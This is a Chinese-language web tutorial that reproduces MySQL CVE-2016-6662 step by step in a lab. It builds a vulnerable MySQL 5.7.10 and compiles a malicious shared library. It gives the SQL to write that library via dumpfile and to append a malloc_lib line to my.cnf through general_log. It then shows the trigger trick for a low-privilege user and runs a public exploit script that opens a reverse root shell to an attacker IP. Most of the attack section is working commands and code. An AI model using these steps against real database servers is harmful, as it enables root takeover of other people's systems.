溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

Mysql CVE-2016-6662漏洞分析

發(fā)布時(shí)間:2021-12-04 14:00:07 來源:億速云 閱讀:224 作者:iii 欄目:安全技術(shù)

本篇內(nèi)容主要講解“Mysql CVE-2016-6662漏洞分析”,感興趣的朋友不妨來看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“Mysql CVE-2016-6662漏洞分析”吧!

漏洞描述:

該漏洞允許攻擊者注入惡意配置到 mysql配置文件 my.cnf中,導(dǎo)致可加載任意擴(kuò)展庫。當(dāng)擴(kuò)展庫中存在惡意指令時(shí)即可getshell。

備注:

以下實(shí)驗(yàn)全程開啟 SELinux

該漏洞在 SELinux 開啟的狀態(tài)下也可用哦~

Mysql CVE-2016-6662漏洞分析

實(shí)驗(yàn)系統(tǒng)為 Centos7

漏洞范圍:

mysql <= 5.7.15

mysql <= 5.6.33

mysql <= 5.5.52

環(huán)境搭建

需要在 mysql官網(wǎng) 中 自行下載 符合版本的 mysql。

由于在Centos7上安裝時(shí)默認(rèn)的 yum源頭是設(shè)置的 mysql5.7.30。我們不能使用 yum源安裝,需要手動(dòng)下載 源碼,然后編譯安裝:

第一步、下載 mysql5.7.10 源碼

進(jìn)入 mysql 各種版本下載頁面:

https://downloads.mysql.com/archives/community/

選擇 mysql5.7.10,本實(shí)驗(yàn)以 5.7.10 作為例子。

下載時(shí)選擇 源碼方式,系統(tǒng)為 常規(guī)Linux,下載含有 Boost Headers 的源碼包:

Mysql CVE-2016-6662漏洞分析

第二步、創(chuàng)建用戶

在 Linux 中,mysql 不允許使用 root 賬號(hào) 運(yùn)行。必須添加一個(gè)低權(quán)用戶運(yùn)行 mysql服務(wù)

添加用戶,并且不允許登錄:

useradd -s /sbin/nologin mysql

第三步、解壓 mysql 源碼包

將下載好的 mysql 源碼包放到你想放的路徑。最好放到 /usr/local 下。

解壓命令:

tar -xzvf xxxxxx.tar.gz

第四步、安裝依賴包

由于源碼編譯 mysql 需要一些運(yùn)行庫、依賴包等東西。我們需要先自行下好:

yum install -y gcc gcc-c++ cmake ncurses ncurses-devel bison

第五步、編譯安裝

解壓完成后,進(jìn)入剛解壓好的mysql 目錄下,執(zhí)行命令進(jìn)行編譯:

cmake -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_BOOST=boost

命令運(yùn)行完后,再進(jìn)行安裝:

make && make install

安裝完成后,應(yīng)該會(huì)有一個(gè)新文件夾 /usr/local/mysql。這個(gè)就是安裝好的mysql 的文件夾了。

第六步、配置 mysql 配置文件

默認(rèn)一般是沒有自動(dòng)創(chuàng)建 /etc/my.cnf 文件的。需要我們自己拷貝一份模板文件過去。

my.cnf 模板文件在 mysql 目錄(這里往后講的 mysql 目錄都是指 安裝完成后創(chuàng)建的 /usr/local/mysql)下的 support-files 文件夾里。

模板文件名為:

/usr/local/mysql/support-files/my-default.cnf

將其拷貝為 /etc/my.cnf

cp my-default.cnf /etc/my.cnf

我們還需要?jiǎng)?chuàng)建一個(gè)文件夾,供數(shù)據(jù)庫文件存放。我直接在 mysql 目錄創(chuàng)建了一個(gè)名為 data 的文件夾。將其作為 數(shù)據(jù)庫文件存放路徑:

mkdir /usr/local/mysql/data/

為保證權(quán)限,可以給它 777:

chmod 777 /usr/local/mysql/data/

將整個(gè) mysql 目錄所屬歸為 mysql 用戶:

chown mysql:mysql /usr/local/mysql

配置 mysql 配置文件。在配置文件模板的基礎(chǔ)上,修改三個(gè)重點(diǎn)配置:

Mysql CVE-2016-6662漏洞分析

basedir  設(shè)定為 mysql 目錄

datadir  設(shè)定為 數(shù)據(jù)庫文件存放目錄

port       設(shè)定為 數(shù)據(jù)庫監(jiān)聽端口

第七步、創(chuàng)建 mysql 服務(wù)

注意:一定要先配置好 mysql 配置文件 /etc/my.cnf,不然創(chuàng)建服務(wù)的時(shí)候會(huì)報(bào)錯(cuò)

在 mysql 目錄下 的 bin 目錄,執(zhí)行命令:

./mysqld --initialize-insecure --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data

其中,user參數(shù)為 啟動(dòng) mysql 的用戶。我們使用我們剛剛創(chuàng)建好的低權(quán)限用戶。

basedirdatadir 必須和配置文件 /etc/my.cnf 的值一致。不然也會(huì)報(bào)錯(cuò)

執(zhí)行完后,將會(huì)在 mysql目錄下的 support-files 文件夾看到 mysql.server 文件。

我們將 mysql.server 文件拷貝為 /etc/init.d/mysqld

cp mysql.server /etc/init.d/mysqld

完成后,我們就可以使用命令:

/etc/init.d/mysqld restart

重啟mysql 服務(wù)

原理介紹:

這個(gè)漏洞官方介紹網(wǎng)上很多。這里我就用大白話的方式來講,并配合簡(jiǎn)單的示例來演示:

基本介紹

mysql 配置中在 [mysqld] 下有一個(gè)配置項(xiàng)。名為 malloc_lib。這個(gè)配置項(xiàng)可以加載任意位置的 so 文件,并執(zhí)行。

然而執(zhí)行 malloc_lib 指定的 so 文件的進(jìn)程是 mysql_safe。這個(gè)進(jìn)程是以 root 用戶運(yùn)行的:

Mysql CVE-2016-6662漏洞分析

但是由于是配置文件指定的 so 文件,mysql服務(wù)需要 重啟 才會(huì)重新加載配置文件。所以最后需要將 mysql 重啟才能完成整個(gè)攻擊流程。

簡(jiǎn)單演示

我們需要下載好 大神寫好的 c文件:

http://legalhackers.com/exploits/mysql_hookandroot_lib.c

修改攻擊腳本:

Mysql CVE-2016-6662漏洞分析

由于是演示,就用本機(jī)。 mysql 配置文件就寫默認(rèn)的配置文件 /etc/my.cnf:

Mysql CVE-2016-6662漏洞分析

寫入后保存退出。進(jìn)行編譯:

Mysql CVE-2016-6662漏洞分析

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

將會(huì)生成一個(gè) so文件:

Mysql CVE-2016-6662漏洞分析

配置 /etc/my.cnf 文件,在 [mysqld] 下加上一行配置:

malloc_lib=/tmp/mysql_hookandroot_lib.so

Mysql CVE-2016-6662漏洞分析

這里 malloc_lib 指定的就是剛剛生成好的惡意 so文件 路徑

寫入后保存退出。由于 poc 寫的是 127.0.0.1,所以我們開啟本機(jī)上對(duì)應(yīng)的端口:

nc -lvp 6033

重啟 mysql 服務(wù):

/etc/init.d/mysqld restart

Mysql CVE-2016-6662漏洞分析

有個(gè)小小的報(bào)錯(cuò),不過不要緊,我們已經(jīng)getshell了:

Mysql CVE-2016-6662漏洞分析

后文的攻擊大致流程就是這樣子:

想辦法修改配置文件,并加上一行配置,最后重啟mysql服務(wù)

root權(quán)限 - 嘗試手工

配置mysql環(huán)境

我們首先讓 mysql 的 root 用戶能夠讓外網(wǎng)登錄,連入mysql,輸入以下命令:

grant all privileges on *.* to 'root'@'%' identified by '123456';
flush privileges;

上傳寫入惡意 so文件

值得一提的是,mysql5.7.10 默認(rèn)是開放 secure_file_priv 的

Mysql CVE-2016-6662漏洞分析

關(guān)于寫入惡意 so文件,我們可以通過 python 并配合 mysql 的 dumpfile 語句。將文件的十六進(jìn)制碼進(jìn)行寫入。

python 文件轉(zhuǎn)十六進(jìn)制碼:

import binascii
f = open("mysql_hookandroot_lib.so", "rb")
a = f.read()
hexstr = binascii.b2a_hex(a)
f.close()
f = open("res.txt","w")
f.write(hexstr)
f.close()

得到一大串十六進(jìn)制字符:

Mysql CVE-2016-6662漏洞分析

構(gòu)造 mysql 語句:

注意:mysql寫入十六進(jìn)制碼時(shí),需要在字符前加一個(gè) 0x

select 0x一大串字符 into dumpfile "/tmp/cvetest.so"

關(guān)鍵點(diǎn) - my.cnf 追加/新增配置

這個(gè)漏洞能夠利用成功的最關(guān)鍵的一步,就是通過mysql的命令,修改 / 新增 my.cnf 配置。使其能夠成功讀取到 malloc_lib 配置項(xiàng)。

這里有幾個(gè)坑點(diǎn),一一列舉:

(1)配置文件路徑

mysql 中除了默認(rèn)的 /etc/my.cnf。還有別的配置文件路徑。并且是順序讀取的。放一張官網(wǎng)圖:

https://dev.mysql.com/doc/refman/5.7/en/option-files.html

Mysql CVE-2016-6662漏洞分析

如圖所示,不僅僅會(huì)讀取 /etc/my.cnf文件,而且還會(huì)讀取 $MYSQL_HOME/my.cnf,這個(gè)是指 mysql目錄下的my.cnf。

為什么鐘情于 mysql目錄下的 my.cnf呢?因?yàn)?mysql目錄,mysql用戶99%的幾率是可讀寫的。而別的目錄可不可寫就難說了。。

(2)outfile / dumpfile

正常情況下,談到導(dǎo)出文件。第一反應(yīng)就是使用 mysql 的語句:outfile、dumpfile。

可惜,這里有一個(gè)坑點(diǎn)。

我們來嘗試用 mysql 的outfile 寫一個(gè) my.cnf 出來:

select "[mysqld]\nmalloc_lib=/tmp/cvetest.so" into outfile "/usr/local/mysql/my.cnf";

然后重啟 mysql 的時(shí)候?qū)?huì)報(bào)錯(cuò):

Mysql CVE-2016-6662漏洞分析

這是因?yàn)?,我們通過 outfile / dumpfile 寫出來的文件,權(quán)限是 rw rw rw。

Mysql CVE-2016-6662漏洞分析

在 mysql 中有個(gè)安全策略:如果配置文件的權(quán)限可被 其他用戶 寫,則將會(huì)忽略這個(gè)配置文件。

而通過 outfile 寫出來的文件權(quán)限是 rw rw rw。不符合 mysql 的安全策略規(guī)則。

所以我們得另辟蹊徑。

(3)general_log與配置文件格式

在mysql中想要寫入文件,還有一個(gè)語句:general_log。

我們可以通過 general_log,寫入 my.cnf 文件。

通過 general_log 寫入的文件其他用戶 無權(quán)限

首先,先將 general_log 文件路徑設(shè)置為 mysql目錄下my.cnf 文件。即:/usr/local/mysql/my.cnf

set global general_log_file = "/usr/local/mysql/my.cnf";

開啟 general_log:

set global general_log=on;

寫入配置:

MySQL [(none)]> select "
    "> [mysqld]
    "> malloc_lib=/tmp/cvetest.so
    "> #";

寫入成功后,查看文件權(quán)限:

Mysql CVE-2016-6662漏洞分析

查看內(nèi)容,發(fā)現(xiàn)通過 general_log 新增寫入文件的方式,會(huì)先寫入 banner 信息,然后再寫如具體日志。

Mysql CVE-2016-6662漏洞分析

由于 my.cnf 文件不是以 [] 開頭。mysql 讀取的時(shí)候會(huì)報(bào)錯(cuò)。也無法成功getshell:

Mysql CVE-2016-6662漏洞分析

(4)攻擊條件

在測(cè)試的時(shí)候發(fā)現(xiàn),general_log 對(duì)于已經(jīng)存在的文件,將會(huì)追加。

而 my.cnf 中的配置。配置不正確 mysql 將會(huì)忽略配置。但是配置文件必須以 [] 開頭。

得出攻擊條件:

當(dāng) mysql 有已經(jīng)創(chuàng)建好的 my.cnf 文件時(shí),才可通過 general_log 對(duì)該文件追加配置。

我們創(chuàng)建好一個(gè) /usr/loca/mysql/my.cnf。簡(jiǎn)單寫一個(gè)配置:

[mysqld]
secure_file_priv = NULL

將新的 my.cnf 所有權(quán)給 mysql:

chown mysql:mysql my.cnf

重啟 mysql。然后我們像上面的(3)一樣:修改 general_log 路徑;開啟 general_log;寫入惡意配置項(xiàng):

Mysql CVE-2016-6662漏洞分析

查看配置文件,由于之前已經(jīng)寫好了配置文件,所以現(xiàn)在 my.cnf 是以 [] 開頭的:

Mysql CVE-2016-6662漏洞分析

嘗試重啟 mysql:

Mysql CVE-2016-6662漏洞分析

成功 getshell:

Mysql CVE-2016-6662漏洞分析

(5)/etc/my.cnf

在實(shí)際情況中,可能 mysql 的配置項(xiàng)就一個(gè)默認(rèn)的 /etc/my.cnf。那我們可不可以通過 general_log 追加到 /etc/my.cnf 中呢?

答案是:看情況。。。

默認(rèn) /etc/my.cnf 的權(quán)限是 r rx r

Mysql CVE-2016-6662漏洞分析

如果這種情況設(shè)置 general_log ,則會(huì)報(bào)錯(cuò):

Mysql CVE-2016-6662漏洞分析

mysql要寫入的話,需要具有 寫入 權(quán)限

現(xiàn)實(shí)中管理員錯(cuò)配權(quán)限也是經(jīng)常發(fā)生的情況。

將 /etc/my.cnf 權(quán)限修改為 rw r r

chmod 644 /etc/my.cnf

 嘗試寫入:

Mysql CVE-2016-6662漏洞分析

成功寫入:

Mysql CVE-2016-6662漏洞分析

重啟后自然成功getshell:

Mysql CVE-2016-6662漏洞分析

非root權(quán)限 - 使用exp

配置mysql環(huán)境

按照網(wǎng)上的說法,其實(shí)不需要root用戶,只需要一個(gè)具有 select,insert,create,file 權(quán)限的用戶即可。

我們來創(chuàng)建一個(gè)用戶,及其對(duì)應(yīng)的數(shù)據(jù)庫:

連入mysql,執(zhí)行下面語句:

create database cvetest;
grant file on *.* to 'cveuser'@'%' identified by '123456';
grant select,insert,create on cvetest.* to 'cveuser'@'%';
flush privileges;

將 /etc/my.cnf 權(quán)限設(shè)置為 600,所屬用戶為 mysql:

chmod 600 /etc/my.cnf
chown mysql:mysql /etc/my.cnf

配置exp

首先我們需要先下載大佬寫好的攻擊腳本:一個(gè)python文件和一個(gè)c文件

0ldSQL_MySQL_RCE_exploit.py:
http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py

mysql_hookandroot_lib.c:
http://legalhackers.com/exploits/mysql_hookandroot_lib.c

默認(rèn)kali沒有安裝 mysql-connector,而大神寫的腳本中用了這個(gè)庫。

不安裝的話將會(huì)報(bào)錯(cuò):

ImportError: No module named mysql.connector

我們需要手動(dòng)安裝:

python -m pip install mysql-connector

由于python腳本中有些配置和我們實(shí)驗(yàn)環(huán)境不符,我們還需要手動(dòng)修改一下:

(1)python - 將 trigger 觸發(fā)器目錄設(shè)置成實(shí)驗(yàn)靶機(jī)的 data 目錄

首先需要知道靶機(jī)的 data 目錄在哪。連入靶機(jī)的 mysql ,輸入命令:

 show variables like "%data%";

Mysql CVE-2016-6662漏洞分析

這里的 datadir 的值就是 mysql 服務(wù)的 data 目錄路徑。

修改 python 腳本:

Mysql CVE-2016-6662漏洞分析

(2)python - 修改惡意so文件導(dǎo)出路徑

雖然腳本里說 /tmp 重啟會(huì)丟失文件, /var/lib/mysql mysql 也有權(quán)限寫入

但是實(shí)際上用的時(shí)候可能會(huì)報(bào)錯(cuò),沒有權(quán)限寫入。

個(gè)人認(rèn)為最好把路徑改回成 /tmp

Mysql CVE-2016-6662漏洞分析

(3)c - 修反彈shell端口

編輯 c 文件,注意該文件需要和 python 文件放在同一目錄下。

修改配置:

ATTACKERS_IP 設(shè)置為 攻擊機(jī)ip

SHELL_PORT 設(shè)置為 攻擊機(jī)接收反彈shell的端口

INJECTED_CONF 設(shè)置為 我們攻擊時(shí)使用的 my.cnf 路徑

Mysql CVE-2016-6662漏洞分析

運(yùn)行 exp

直接運(yùn)行 exp:

pyhton 0ldSQL_MySQL_RCE_exploit.py -dbuser cveuser -dbpass 123456 -dbhost 10.11.123.249 -dbname cvetest -mycnf /etc/my.cnf

Mysql CVE-2016-6662漏洞分析

mysql觸發(fā)器

我們來看看這個(gè) exp 是如何實(shí)現(xiàn) 非 root 用戶 卻能夠修改 general_log 配置 的:

找到關(guān)鍵SQL語句:

Mysql CVE-2016-6662漏洞分析

將其單獨(dú)抽出來整理格式查看:

Mysql CVE-2016-6662漏洞分析

這是一個(gè)觸發(fā)器

但是這不是直接執(zhí)行的,而是通過 mysql 的 dumpfile 語句寫入到文件里的:

Mysql CVE-2016-6662漏洞分析

為什么要用觸發(fā)器呢?為什么要寫入到文件中不直接執(zhí)行呢?

帶著這些疑問,我們來實(shí)踐一下:

非 root 用戶,無法直接 set global general_log

先說一個(gè)小細(xì)節(jié):

select user() 和 select current_user() 的區(qū)別:

Mysql CVE-2016-6662漏洞分析

select current_user() 查詢出來的用戶才是真正的存在數(shù)據(jù)庫里的用戶格式。

嘗試設(shè)置 general_log:

Mysql CVE-2016-6662漏洞分析

無權(quán)限。

觸發(fā)器 - 以他人權(quán)限執(zhí)行 SQL 語句

官網(wǎng)中對(duì)于觸發(fā)器的格式描述:

Mysql CVE-2016-6662漏洞分析

官網(wǎng)鏈接在此:

https://dev.mysql.com/doc/refman/5.7/en/create-trigger.html

大意是說, mysql的觸發(fā)器可以通過設(shè)置 DEFINER 參數(shù),以別的用戶身份執(zhí)行觸發(fā)器的 SQL語句。

語句:

create definer='root'@'localhost' trigger test1   指定使用用戶 'root'@'localhost'執(zhí)行觸                       
                                                  發(fā)器 test1
after INSERT                                      觸發(fā)器在執(zhí)行 INSERT 語句之后執(zhí)行
on test1.t1                                       在哪個(gè)表上設(shè)置觸發(fā)器
for each ROW                                      固定格式
BEGIN                                             固定格式,表示觸發(fā)器要執(zhí)行的SQL語句開始
select "1" into outfile "/tmp/1234567.txt";       觸發(fā)器要執(zhí)行的SQL語句
END                                               固定格式,表示觸發(fā)器要執(zhí)行的SQL語句結(jié)束

但是并不是任何用戶都能使用 root 用戶身份去執(zhí)行的。

想要以 root 身份執(zhí)行觸發(fā)器,創(chuàng)建者必須具有 super 權(quán)限:

Mysql CVE-2016-6662漏洞分析

備注:

delimiter | 表示暫時(shí)性設(shè)置 Mysql 每條語句的分隔符為 |,mysql語句分隔符默認(rèn)是 ;。但是由于觸發(fā)器中需要寫入 sql語句,sql語句中有 ; 。會(huì)導(dǎo)致 sql語句提前結(jié)束。所以需要暫時(shí)性修改分隔符。

莫非到此就結(jié)束了?我們還有一計(jì)。

參考大神的腳本時(shí),發(fā)現(xiàn)它將觸發(fā)器寫入到了一個(gè)文件中,這個(gè)文件路徑也是我們用 exp 的時(shí)候需要修改的路徑:

Mysql CVE-2016-6662漏洞分析

莫非 mysql 創(chuàng)建了觸發(fā)器之后,將會(huì)以文件形式保存下來?

動(dòng)手實(shí)驗(yàn)一探究竟。

我們直接使用 root 用戶來創(chuàng)建觸發(fā)器:

語句:

跟上面那個(gè)一樣

create definer='root'@'localhost' trigger test1
after INSERT
on test1.t1
for each ROW
BEGIN
select "1" into outfile "/tmp/1234567.txt";
end
|

創(chuàng)建成功:

Mysql CVE-2016-6662漏洞分析

我們到 mysql 的數(shù)據(jù)庫文件目錄去看看:

如果不知道數(shù)據(jù)庫文件目錄在哪,在mysql終端中輸入 :

show variables like "%datadir%";

默認(rèn)情況下,數(shù)據(jù)庫文件目錄下,數(shù)據(jù)庫文件夾名 和數(shù)據(jù)庫名一致。我們找到我們的 test1數(shù)據(jù)庫的目錄,并 進(jìn)入

注意:這里的數(shù)據(jù)庫文件夾 mysql 用戶都是可寫的

Mysql CVE-2016-6662漏洞分析

發(fā)現(xiàn)真的多了兩個(gè) TRN文件,有用的文件就是和數(shù)據(jù)表名對(duì)應(yīng)的 TRN文件:

Mysql CVE-2016-6662漏洞分析

查看內(nèi)容:

Mysql CVE-2016-6662漏洞分析

也就是說,mysql 的觸發(fā)器文件就是保存在數(shù)據(jù)庫文件目錄下的數(shù)據(jù)庫文件夾中。文件名與表名對(duì)應(yīng)。

exp 原理

根據(jù)上面實(shí)驗(yàn),我們可以整理出 exp 的原理和流程了:

(1)首先連入 mysql 。連入賬戶不需要 root 用戶,只要能 select,insert,create,file 即可

(2)將 惡意 so庫 寫入到文件夾中。這里最好寫到 /tmp 目錄下。也可嘗試寫入 mysql 數(shù)據(jù)庫目錄下

(3)創(chuàng)建一個(gè)新表,為后面觸發(fā)器做準(zhǔn)備

(4)將觸發(fā)器的配置寫入到觸發(fā)器文件中,觸發(fā)器的配置為通過 general_log 對(duì) my.cnf 文件進(jìn)行配置追加

(5)對(duì)表進(jìn)行操作,使其執(zhí)行觸發(fā)器

到此,相信大家對(duì)“Mysql CVE-2016-6662漏洞分析”有了更深的了解,不妨來實(shí)際操作一番吧!這里是億速云網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI